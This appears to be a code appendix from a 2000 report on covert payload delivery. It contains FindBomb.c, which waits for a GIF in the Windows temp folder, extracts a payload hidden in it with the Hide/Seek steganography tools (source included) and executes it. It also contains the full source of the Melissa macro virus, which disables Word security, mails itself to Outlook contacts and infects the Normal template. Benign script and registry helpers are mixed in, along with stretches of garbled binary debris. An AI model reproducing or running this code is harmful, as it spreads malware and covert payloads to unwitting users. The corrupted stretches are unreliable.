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/********************************************************************
* Program - FindBomb.c
*
* Written by:  Capt Dale Lathrop, GCS-00M, February 2000
*
* Purpose - This program is used to find a file in the Windows
*           temporary directory on a target computer's C: drive.
*           It is compiled as a DOS level program and can be
*           modified as a terminate and staty resident (TSR) module.
*
* Main - This module is the controller behind the search function.
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*        It sets up the pattern to look for (WINDOWSTEMPnsmail??.GIF)
*        and the pointers to the directory (C:|WINDOWS|TEMP) that
*        is to be searched.  The DoDir module is called to perform
*        the search with a 10 second delay between calls to DoDir
*        inside of a loop.  Once the file is found (picture
*        containing a program hidden by the Seek/Hide steganography
*        program), the loop is exited and the Seek program is spawned
*        so that the payload is extracted.  Finally the payload is
*        executed to run on the system.
*
********************************************************************/

#include <process.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <io.h>
#include <dos.h>
#include <dir.h>

#define MAX_QRT_LEN 25

char      file_name_pattern[MAX_QRT_LEN];  // file name search pattern

int       DoDir(char *patternp, char *patternn, char *include);
int       FnMatch(char *pat, char *name);

char      buf[40];              // hold area for found file

main(void)
{

 char     tree[17];        // directory pattern
 char     infile[29];      // found directory path and file name
 char     outfile[10];     // name of payload
 int      nfiles;           // delay check variable
 int      filenotfound;    // main loop control
 char     *pattern, *sargs[3];   // pointers for file and spawn
 void  delay(unsigned);     // delay instantiation

/* uncomment this line for 32-bit Windows mode and recompile as
32-bit for long file name support:

strcpy(file_name_pattern, "WINDOWSTEMPnsmail??.gif");
*/

 strcpy(file_name_pattern, "WINDOW~1.gif");     // DOS based mode

 nfiles = 0;
    filenotfound = 1;

 while (filenotfound)
    {

  strcpy(tree, "C:\\windows\\temp\\");
  pattern = file_name_pattern;
  nfiles = DoDir(tree, "*.*", pattern);

  if (nfiles>=1)
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filenotfound=0;
  else

  {
   filenotfound=1;
   delay(5000);

  }
 }
 /* strcpy(infile, "C:\\windows\\temp\\");
 strcat(infile, file_name_pattern); */
 strcpy(infile, buf);
 strcpy(outfile, "myver.exe");         // instantiate payload name
 sargs[1] = infile;                    //
 sargs[2] = outfile;                   // set arguments for Seek
 sargs[3] = NULL;                      //

 spawnv(P_WAIT, "seek", sargs);        // spawn Seek and return

 // pass control to payload
 execl(outfile, NULL);

 return(0);
}

/*******************************************************************
* DoDir - search a directory for  a file matching a file name pattern
*
* paramaters:
*             patternp  - A path to search.
*             patternn  - A file name pattern.
*             include   - A file name pattern to use to select files.
*
* returns:
*          Number of files found matching include.
*
********************************************************************/

int DoDir(char *patternp, char *patternn, char *include)
{
    char          patternw[17];

 int           mfiles;
 struct ffblk  fileinfo;

 mfiles = 0;
 strcpy(patternw, patternp);
 strcat(patternw, patternn);

    if (!findfirst(patternw, &fileinfo, FA_DIREC))
    {
       do

{
if (fileinfo.ff_attrib & FA_DIREC)  // subdirectory
{

              // ignore . and .. and subdirectories
}
else                               // file



5/

{
if (FnMatch(include, fileinfo.ff_name))

           {
mfiles = 1;
strcat(buf, patternp);
strcat(buf, fileinfo.ff_name);

}
           }
        }
        while (!findnext(&fileinfo));

 }

 return(mfiles);
}

/*******************************************************************
* FnMatch - Test if a file name matches a file name pattern.
*           handles ? wildcard character.
*
* paramaters:
*             pat   - A file name pattern (ie. xyz?.gif)
*             name  - A file name to test against pat (ie. xyz1.tmp)
*
* returns:
*             1 - if match
*             0 - if not a match
********************************************************************/

FnMatch(char *pat, char *name)
{
    int   match;
    int   ndone;
    char *cpp;
    char *cpn;

    cpp = pat;
    cpn = name;
    match = 1;

 ndone = 1;

    while (ndone)
    {
       switch (*cpp)

{
case '?':

               cpp++;
               cpn++;
               break;

case 0:
 if (*cpn != 0) match = 0;

               ndone = 0;
               break;

default:
 if (tolower(*cpp) == tolower(*cpn))

               {
                   cpp++;
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                   cpn++;
               }
               else
               {
                   match = 0;
                   ndone = 0;
               }

 break;
}

    }
    return(match);
}
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#include "hideseek.h"
extern char giffile[100];

main(int argc, char *argv[])
{
   FILE *infile;
   char *drive=(char *)malloc(200*sizeof(char));

// 200 spaces for a file name
   char *dir=(char *)malloc(200*sizeof(char));

// means you probably wont have one
   char *fname=(char *)malloc(200*sizeof(char));

// that is too long.
   char *ext=(char *)malloc(200*sizeof(char));

// once burned, twice shy.
   int old_mode=0;



54

   int x=0,y=0;

   process_args(argc,argv);
   test_gif();

   fnsplit(argv[0],drive,dir,fname,ext);

   if (stricmp(fname,"hide")==0)
   {
      infile=fopen(argv[1],"rb");
      if (infile==0)
      {

 printf("\nError opening input file %s.\n",argv[1]);
 exit (0);

      }

      old_mode=prepare_screen();
      x=process_infile(infile);
      y=fg_makegif(0,319,0,479,"outfile.gif");
      fg_setmode(old_mode);
      if (x==0)

printf("\nError: input file %s too long!!!\n",argv[1]);
      else if (y==1)

printf("\nERROR: outfile.gif not made!!!\n");
      else

printf("\nDone! remember to delete your original file
   for safety, if necessary.\n");

      fclose(infile);
   }
   else usage_exit("hide");

   free (dir); free(drive); free(fname); free(ext);

   return 0;
}
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#include "hideseek.h"
extern char giffile[100];
extern int version,subversion;

main(int argc, char *argv[])
{
   char *drive=(char *)malloc(200*sizeof(char));

//yes, i know 200
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   char *dir=(char *)malloc(200*sizeof(char));
// is excessive, but its there,

   char *fname=(char *)malloc(200*sizeof(char));
// and version 3.5 didn't allocate enough

   char *ext=(char *)malloc(200*sizeof(char));
// once burned, twice shy.

   int old_mode=0;
   int x=0;

   process_args(argc,argv);
   test_gif();

   fnsplit(argv[0],drive,dir,fname,ext);

   if (stricmp(fname,"seek")==0)
   {
      old_mode=prepare_screen();
      x=process_outfile(argv[2]);
      fg_setmode(old_mode);

      if (x==-1)
      {

  printf("\nError!!\n");
  printf("          Data hidden using wrong version of HIDE (v.

%d.%d ?)\n",version,subversion);
  printf("          Data hidden with a key\n");
  printf("          or else there is no data in this GIF

file.\n");
  printf("          (this is SEEK version

%d.%d)\n",VERSION,SUBVERSION);
      }
      else if (x==0) printf("\nERROR: %s not made!!!\n",argv[2]);
       else printf("\nExtraction complete! data rests in
%s\n",argv[2]);
   }
   else usage_exit("seek");

   free (dir); free(drive); free(fname); free(ext);

   return 0;
}
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#include "hideseek.h"
#include "gif.hpp"
#include "idea.h"
#include <time.h>

//--------------global data---------------------
char giffile[200];   // lots of room for a filename is a Good Thing
unsigned int key[8];
int dispersion;
unsigned seed;
int version,subversion;

//--------------functions----------------------
void usage_exit(char *module) �This module could be deleted.
{
   if (stricmp(module,"hide")==0)
   {
      printf("\nHIDE data hiding program v
%d.%d\n",VERSION,SUBVERSION);
      printf("      hides data inside GIF files.\n");
      printf("\n    usage: hide <infile.ext> <giffile[.gif]> [key]\n");
      printf("             where [key] is an optional locking code, up
to 8 chars.\n");
      printf("\n    note: will always produce a new GIF called
outfile.gif\n");
   }
   else if (stricmp(module,"seek")==0)
   {
      printf("\nSEEK data extractor v %d.%d\n",VERSION,SUBVERSION);
      printf("       extracts data hidden in GIF files by HIDE\n");
      printf("\n     usage: seek <infile[.gif]> <outfile.ext>
[key]\n");
      printf("\n     note: if <outfile.ext> exists, it will be
overwritten, so BE CAREFULL!!\n");
   }
   exit(0);
};

void process_args(int argc, char *argv[])
{
   struct ffblk ffbk;
   int x=0;
   char *drive=(char *)malloc(200*sizeof(char));

//yes, 200 is a lot mof memory for this
   char *dir=(char *)malloc(200*sizeof(char));

// version 3.5 only allocated 25, and would
   char *fname=(char *)malloc(200*sizeof(char));

// crash if run from a deep sub-directory.
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   char *ext=(char *)malloc(200*sizeof(char));
// this will put up with much deeper subdirectories
// although it still could crash....

   fnsplit(argv[0],drive,dir,fname,ext);

   if (argc!=3 && argc!=4) usage_exit(fname);

   if (argc==3)                // default key---fill, it with 0's
   {
       for (int x=0;x<8;x++) key[x]=0;
   }
   else if (strlen(argv[3])>8)     � This key is for encryption.
   {
      printf("\nKEY can be no longer than 8 characters!!!\n");
      exit(0);
   }
   else
   {
      for (int x=0;x<8;x++)

 if (*argv[3]!='\0') key[x]=*argv[3]++;  // put the key into "key"
 else key[x]=0;           // and pad with 0's (important!)

   }

   if (stricmp(fname,"hide")==0)          // set up for hide
   {
      if (findfirst(argv[1],&ffbk,0)!=0)
      {

 printf("\nInfile %s not found.\n",argv[1]);
 exit(0);

      }
      else
      {

 x=0;
 while (argv[2][x]!='.' && argv[2][x]!='\0') x++;
 if (argv[2][x]!='.')
 {
    strcpy(giffile,argv[2]);
    strcat(giffile,".gif");
 }
 else strcpy(giffile,argv[2]);
 if (findfirst(giffile,&ffbk,0)!=0)
 {
    printf("\nGIF file %s not found.\n",giffile);
    exit (0);
 }

      }
      if (findfirst("outfile.gif",&ffbk,0)==0)
      {

 printf("\nOUTFILE.GIF already exists!!!! overwrite?(Y/n)");
 x=getche();
 printf("\n");
 if (toupper(x)=='N')
 {
    printf("\nMake the necessary changes and re-run HIDE\n");
    exit(0);
 }

      }
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   }
   if (stricmp(fname,"seek")==0)      // set up for seek
   {
      x=0;
      while (argv[1][x]!='.' && argv[1][x]!='\0') x++;
      if (argv[1][x]!='.')
      {

 strcpy(giffile,argv[1]);
 strcat(giffile,".gif");

      }
      else strcpy(giffile,argv[1]);
      if (findfirst(giffile,&ffbk,0)!=0)
      {

 printf("\nGIF file %s not found.\n",giffile);
 exit (0);

      }
   }

   free (dir); free(drive); free(fname); free(ext);
}

void test_gif(void)
{
   FILE *fgif = fopen(giffile, "rb" );
   if( fgif == 0 )
   {
      printf( "\nGIF File '%s' not found\n", giffile );
      exit (0);
   }

   // read header and screen descriptor
   GIFHEADER hdr;
   if( hdr.get( fgif ) )
   {
      printf( "\nError reading GIF header\n" );
      exit( 0 );
   }
   if( ! hdr.isvalid() )
   {
      printf( "\nFile %s is not a valid GIF file\n",giffile);
      exit( 0 );
   }
   GIFSCDESC scd;
   if( scd.get( fgif ) )
   {
      printf( "\nError reading GIF screen descriptor\n" );
      exit( 0 );
   }

   if (scd.ncolors()!=256)
   {
      printf("\nGIF file %s does not have 256 colors.\n",giffile);
      exit(0);       //HIDESEEK only uses 256 color (or shades-of-grey)
GIFs
   }
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   fclose(fgif);
}

int prepare_screen(void)
{
   int old_mode;
   int x;

   clrscr();
   printf("\nPreparing to process files.......");
   printf("Press any key when ready.\n");
   getch();

   old_mode=fg_getmode();
   fg_setmode(23);
   x=fg_showgif(giffile,0);
   if (x!=0)
   {
      fg_setmode(old_mode);
      printf("\ncryptic error message 101%d-á\n",x);

// means that there's a mystery problem
      exit(0);

// shouldn't come up.
   }

// x=1:file not found
   return old_mode;

// x=2:file not a GIF
}

// and we've already found it
// and checked to see if its a GIF

int process_infile(FILE *infile)
{
   int c=0;
   long length=0;
   long total=19000;
   int used=0;

   //output header info---length and dispersion
   length=filelength(fileno(infile));      // file length
   dispersion=(int)(total/length);         // data dispersion
   if (dispersion<1) return 0;
   outheader(length);

   while ((c=getc(infile))!=EOF)
   {
      dispersion=(int)(total/length);
      if ((used=outbyte(c))==0)

 return 0;
      length--;

// dynamic dispersion computation at its finest
      total*=8;
      total-=used;
      total/=8;
   }
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   return 1;
}

void outheader(long length)
{
   word16 in[4];
   word16 out[4];
   IDEAkey Z; � Not needed if eliminate encryption.
   time_t t;

   // set up random number generator and generate a seed.
   srand((unsigned) time(&t));

   // encrypt length and dispersion
   en_key_idea(key,Z);
   in[0]=(word16)(low16(length));
   in[1]=seed=(unsigned)random(32000);
   in[2]=((VERSION<<8)|(SUBVERSION));

// in[3] doesn't matter--it isn't used by HIDESEEK (currently)
   cipher_idea(in,out,Z);

// IDEA needs 4 subblocks though, so there it is.

   // write header info

   dispersion=1;
   for (int x=0;x<4;x++)
   {
      outbyte((char)(out[x]&255l));
      outbyte((char)(out[x]>>8));
   }

   // set dispersion for rest of file and seed randomizer
   dispersion=(int)(19000/length);
   srand(seed);
}

int outbyte(char c)
{
   int v=0,clr=0,i=0;
   static int x=0,y=0;         // note the static part there, kids....
   int used=0,disp=0,extra=0;

   for(i=0;i<8;i++)
   {
     v=(c&1);
     clr=fg_getpixel(x,y);
     if (v==1)

clr=(clr|1);
     else

clr=((clr>>1)<<1);    // sets that low bit to 0
     fg_setcolor(clr);
     fg_point(x,y);
     disp=(random(dispersion+extra)+1);
     used+=disp;
     extra=((dispersion*(i+1))-used);   // even more dynamic dispersion
computation
     x+=disp;
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     if (x>=320)
     {

while (x>=320)
{
   x=x-319;
   y++;
   if (y==480 && i<7)    // oops! went past the end!
      return 0;          // now how did that happen?
}

     }
     c>>=1;
   }
   return used;
}

int process_outfile(char *filename)
{
   FILE *f;
   int c=0;
   unsigned count=0;
   int disp=0;
   word16 in[4],out[4];
   IDEAkey Z,DK;     � More encryption, remove.

   //.....get the header info

   dispersion=1;

   // read the header

   for (int x=0;x<4;x++)
   {
      in[x]=0;
      in[x]|=((word16)(inbyte(0)));
      in[x]|=((word16)(inbyte(0)<<8));
   }

   en_key_idea(key,Z);
   de_key_idea(Z,DK);

   // decrypt the header

   cipher_idea(in,out,DK);

   //set the variables

   count=out[0];
   seed=out[1];
   version=out[2]>>8;
   subversion=out[2]&255;
   switch (version)  // is it a valid version number?
   {
      case 3: if (subversion!=5) return -1;break;

//still compatible with 3.5
      case 4: if ((subversion!=0) && (subversion!=1)) return -1; break;
// and 4.0
      default: return -1;
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   };
   disp=(int)(19000/count);

   // set dispersion and seed randomizer
   dispersion=disp;
   srand(seed);

   // process files

   f=fopen(filename,"wb");
   if (f==NULL)
      return 0;
   else
   {
      while ((count-->0) && ((c=inbyte((int)(count+1)))!=-1))

 if (fwrite(&c,sizeof(char),1,f)!=1) return 0;

   }
   fclose(f);
   return 1;
}

int inbyte(int length)
{
   static int x=0,y=0;
   static long total=19000;
   int chr=0,cnt=0,v=0;
   int used=0,disp=0,extra=0;

   for (cnt=0;cnt<8;cnt++)
   {
      v=fg_getpixel(x,y);
      v&=1;
      chr=chr|(v<<cnt);
      disp=(random(dispersion+extra)+1);    // look familiar? 3 words--
      used+=disp;                   // Dynamic Dispersion Calculation
      if (version==4 && subversion==1)      // (maybe)
         extra=((dispersion*(cnt+1))-used);  //else variety remains 0
      x+=disp;
      if (x>=320)
      {

 while (x>=320)
 {
    x=x-319;
    y++;
    if (y>=480 && cnt<7)
       chr=-1;
 }

      }
   }
   if (version==4 && ((subversion==0) || (subversion==1)))
   {
      if (length>1)
      {

 length--;                  //here's that dynamic dispersion
 total*=8;                 // calulation again.
 total-=used;
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 total/=8;
 dispersion=(int)(total/length);

      }
   }

   return chr;
}

��	�	
�)
��	
��)�
,��	
.���	+
�����!!
����
�)
�	4-��	+
��
���.	))
��	
���
,��0���	+

���-�
��+
�-��-�
,��	)�

��	
�	�+	�
,��	)
;��<
(���
��)�
�		+
��
6	
0�+�,�	+
��
0��.�
��	

���3��0
,��	)
;��<�

1���
��	
����	�
���	�����
��
+	�����
���)
.�+	
.�-�+
���6�6�/
6	

.�0���	+
��
�	))
����
E�
:���6/�	)
,��
�
.�0��	�	
	�3��	
-)��3
��	
���/
��
.�0��.�

��6����	)�

�



64

�����	�:��#��������*�
���� ����������	��������


���)
���	�+�*
.������)
)�-�.	
.�+	
	*�0��	)
,��0
$%�.�����
9�'��.�����
��+

$�)-��
%�)�.
����
0�/
�))�)�
���	�
�	)	��.�	�)
��
+	'	�����3
�
'��6�	
	�0���
����.:�

���@���.!����+-!���1�D����&��+ �
���+-!

9�'��.����
�)
�����	�
'	�/
���-���
).������3
���3-�3	
��+
�	)	06�	)
$%�.����
��

��)
�����.������

���)
.�+	
)	30	��
)�0��/
���-)����	)
��(
9�'��.����
�)
	06	++	+
����

���

.�+	�

"	,	�	�.	
)	.����
5�E
,��
,-���	�
	*���������)
�,
���

.�+��3�

<SCRIPT LANGUAGE="JavaScript">
 <!--
     // These next lines of code execute when the script tag is parsed.

     var d = new Date()
     var h = d.getHours()

     if (h < 12)
        document.write("Good morning!")
     else
        if (h < 17)
           document.write("Good afternoon!")
        else
           document.write("Good evening!")

     document.write("<br><br>Welcome to the world of JScript.  ")
     document.write("<br>Just in case you were wondering, it's "

 + d + ".")
 //-->
 </SCRIPT>
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<SCRIPT LANGUAGE="VBScript">
     ' This line executes when the script tag is parsed.
     Call PrintWelcome

     Sub PrintWelcome
       Dim h

       h = Hour(Now)
       If h < 12 then
          Document.Write "Good morning!  "
       ElseIf h < 17 then
          Document.Write "Good afternoon!  "
       Else
          Document.Write "Good evening!  "
       End If
       Document.Write "Welcome to the world of VBScript.  "
       Document.Write "Just in case you were wondering, it's "
       Document.Write Time() & " on " & Date() & "."
       End Sub
 </SCRIPT>
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Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",

"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&

Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1):

Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)

End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",

"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <>
"... by Kwyjibo" Then
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If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"

    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " &

Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for
... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y

DasMapiName.Logoff
End If
System.PrivateProfileString("",

"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") =
"... by Kwyjibo"

End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True

End If
If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True

End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1

Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1
Loop

End If
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If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""

NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN,
NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1
Loop

End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,

"Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True

End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,
plus triple-word-score, plus fifty points for using all my letters.
Game's over.  I'm outta here."
End Sub
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Attribute VB_Name = "mdlRegistry"

Option Explicit

Global Const REG_SZ As Long = 1
Global Const REG_DWORD As Long = 4
Global Const HKEY_CLASSES_ROOT = &H80000000
Global Const HKEY_CURRENT_USER = &H80000001
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const HKEY_USERS = &H80000003
Global Const ERROR_NONE = 0
Global Const ERROR_BADDB = 1
Global Const ERROR_BADKEY = 2
Global Const ERROR_CANTOPEN = 3
Global Const ERROR_CANTREAD = 4
Global Const ERROR_CANTWRITE = 5
Global Const ERROR_OUTOFMEMORY = 6
Global Const ERROR_INVALID_PARAMETER = 7
Global Const ERROR_ACCESS_DENIED = 8
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Global Const ERROR_INVALID_PARAMETERS = 87
Global Const ERROR_NO_MORE_ITEMS = 259
Global Const KEY_ALL_ACCESS = &H3F
Global Const REG_OPTION_NON_VOLATILE = 0

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As
Long

Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias
"RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal
Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long,
ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult
As Long, lpdwDisposition As Long) As Long

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA"
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long,
ByVal samDesired As Long, phkResult As Long) As Long

Declare Function RegQueryValueExString Lib "advapi32.dll" Alias
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String,
ByVal lpReserved As Long, lpType As Long, ByVal lpData As String,
lpcbData As Long) As Long

Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String,
ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As
Long) As Long

Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String,
ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long,
lpcbData As Long) As Long

Declare Function RegSetValueExString Lib "advapi32.dll" Alias
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String,
ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String,
ByVal cbData As Long) As Long

Declare Function RegSetValueExLong Lib "advapi32.dll" Alias
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String,
ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal
cbData As Long) As Long

Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias
"RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String)

Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias
"RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String)

Public Function DeleteKey(lPredefinedKey As Long, sKeyName As String)
' Description:
'   This Function will Delete a key
'
' Syntax:
'   DeleteKey Location, KeyName
'
'   Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER,
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'  HKEY_lOCAL_MACHINE, HKEY_USERS
'
'   KeyName is name of the key you wish to delete, it may include
'  subkeys (example "Key1\SubKey1")

    Dim lRetVal As Long         'result of the SetValueEx function
    Dim hKey As Long         'handle of open key

    'open the specified key

    'lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0,
 KEY_ALL_ACCESS, hKey)

    lRetVal = RegDeleteKey(lPredefinedKey, sKeyName)

    'RegCloseKey (hKey)

End Function

Public Function DeleteValue(lPredefinedKey As Long, sKeyName As String,
sValueName As String)
' Description:
'   This Function will delete a value
'
' Syntax:
'   DeleteValue Location, KeyName, ValueName
'
'   Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER,
'   HKEY_lOCAL_MACHINE, HKEY_USERS
'
'   KeyName is the name of the key that the value you wish to delete
'   is in, it may include subkeys (example "Key1\SubKey1")
'
'   ValueName is the name of value you wish to delete

       Dim lRetVal As Long         'result of the SetValueEx function
       Dim hKey As Long         'handle of open key

       'open the specified key

       lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0,
KEY_ALL_ACCESS, hKey)

       lRetVal = RegDeleteValue(hKey, sValueName)

       RegCloseKey (hKey)

End Function

Public Function SetValueEx(ByVal hKey As Long, sValueName As String,
lType As Long, vValue As Variant) As Long

    Dim lValue As Long
    Dim sValue As String
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    Select Case lType
        Case REG_SZ
            sValue = vValue
            SetValueEx = RegSetValueExString(hKey, sValueName, 0&,

lType, sValue, Len(sValue))
        Case REG_DWORD
            lValue = vValue
            SetValueEx = RegSetValueExLong(hKey, sValueName, 0&,

lType, lValue, 4)
        End Select

End Function

Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String,
vValue As Variant) As Long

    Dim cch As Long
    Dim lrc As Long
    Dim lType As Long
    Dim lValue As Long
    Dim sValue As String

    On Error GoTo QueryValueExError

    ' Determine the size and type of data to be read

    lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)

    If lrc <> ERROR_NONE Then Error 5

    Select Case lType
        ' For strings
        Case REG_SZ:
            sValue = String(cch, 0)
            lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType,

sValue, cch)
            If lrc = ERROR_NONE Then
                vValue = Left$(sValue, cch)
            Else
                vValue = Empty
            End If
        ' For DWORDS
        Case REG_DWORD:
            lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType,

lValue, cch)
            If lrc = ERROR_NONE Then vValue = lValue
        Case Else
            'all other data types not supported
            lrc = -1
    End Select

QueryValueExExit:
    QueryValueEx = lrc
    Exit Function
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QueryValueExError:
    Resume QueryValueExExit

End Function

Public Function CreateNewKey(lPredefinedKey As Long, sNewKeyName As
String)
' Description:
'   This Function will create a new key
'
' Syntax:
'   QueryValue Location, KeyName
'
'   Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER,
'  HKEY_lOCAL_MACHINE, HKEY_USERS
'
'   KeyName is name of the key you wish to create, it may include
' subkeys (example "Key1\SubKey1")

    Dim hNewKey As Long         'handle to the new key
    Dim lRetVal As Long         'result of the RegCreateKeyEx function

    lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&,
 vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&,
 hNewKey, lRetVal)

    RegCloseKey (hNewKey)

End Function

Sub Main()
    'Examples of each function:
    'CreateNewKey HKEY_CURRENT_USER, "TestKey\SubKey1\SubKey2"
    'SetKeyValue HKEY_CURRENT_USER, "TestKey\SubKey1", "Test",

  "Testing, Testing", REG_SZ
    'MsgBox QueryValue(HKEY_CURRENT_USER, "TestKey\SubKey1", "Test")
    'DeleteKey HKEY_CURRENT_USER, "TestKey\SubKey1\SubKey2"
    'DeleteValue HKEY_CURRENT_USER, "TestKey\SubKey1", "Test"
End Sub

Public Function SetKeyValue(lPredefinedKey As Long, sKeyName As String,
sValueName As String, vValueSetting As Variant, lValueType As Long)
' Description:
'   This Function will set the data field of a value
'
' Syntax:
'   QueryValue Location, KeyName, ValueName, ValueSetting, ValueType
'
'   Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER,
'  HKEY_lOCAL_MACHINE, HKEY_USERS
'
'   KeyName is the key that the value is under (example:
' "Key1\SubKey1")
'   ValueName is the name of the value you want create, or set the
'   value of (example: "ValueTest")
'
'   ValueSetting is what you want the value to equal
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'
'   ValueType must equal either REG_SZ (a string) Or REG_DWORD (an
'   integer)

       Dim lRetVal As Long         'result of the SetValueEx function
       Dim hKey As Long         'handle of open key

       'open the specified key

       lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0,
KEY_ALL_ACCESS, hKey)

       lRetVal = SetValueEx(hKey, sValueName, lValueType,
vValueSetting)

       RegCloseKey (hKey)

End Function

Public Function QueryValue(lPredefinedKey As Long, sKeyName As String,
sValueName As String)
' Description:
'   This Function will return the data field of a value
'
' Syntax:
'   Variable = QueryValue(Location, KeyName, ValueName)
'
'   Location must equal HKEY_CLASSES_ROOT, HKEY_CURRENT_USER,
'   HKEY_lOCAL_MACHINE, HKEY_USERS
'
'   KeyName is the key that the value is under (example:
'   "Software\Microsoft\Windows\CurrentVersion\Explorer")
'
'   ValueName is the name of the value you want to access (example:
'   "link")

       Dim lRetVal As Long         'result of the API functions
       Dim hKey As Long         'handle of opened key
       Dim vValue As Variant      'setting of queried value

       lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0,
KEY_ALL_ACCESS, hKey)

       lRetVal = QueryValueEx(hKey, sValueName, vValue)

       'MsgBox vValue

       QueryValue = vValue

       RegCloseKey (hKey)

End Function
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Attribute VB_Name = "Module1"
Option Explicit

Declare Function MoveWindow Lib "user32" _
                       (ByVal hwnd As Long, _
                        ByVal x As Long, ByVal y As Long, _
                        ByVal nWidth As Long, ByVal nHeight As Long, _
                        ByVal bRepaint As Long) As Long

Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
                        (ByVal hwnd As Long, ByVal wMsg As Long, _
                         ByVal wParam As Long, lParam As Any) As Long

' This message helps speed up the initialization of list boxes that
' have a large number of items (more than 100). It preallocates the
' specified amount of memory so that subsequent LB_ADDSTRING,
' LB_INSERTSTRING, LB_DIR, and LB_ADDFILE messages take the shortest
' possible time. You can use estimates for the wParam and lParam
' parameters. If you overestimate, some extra memory is allocated; if
' you underestimate, the normal allocation is used for items that
' exceed the preallocated amount.
' wParam: Specifies the number of items to add.
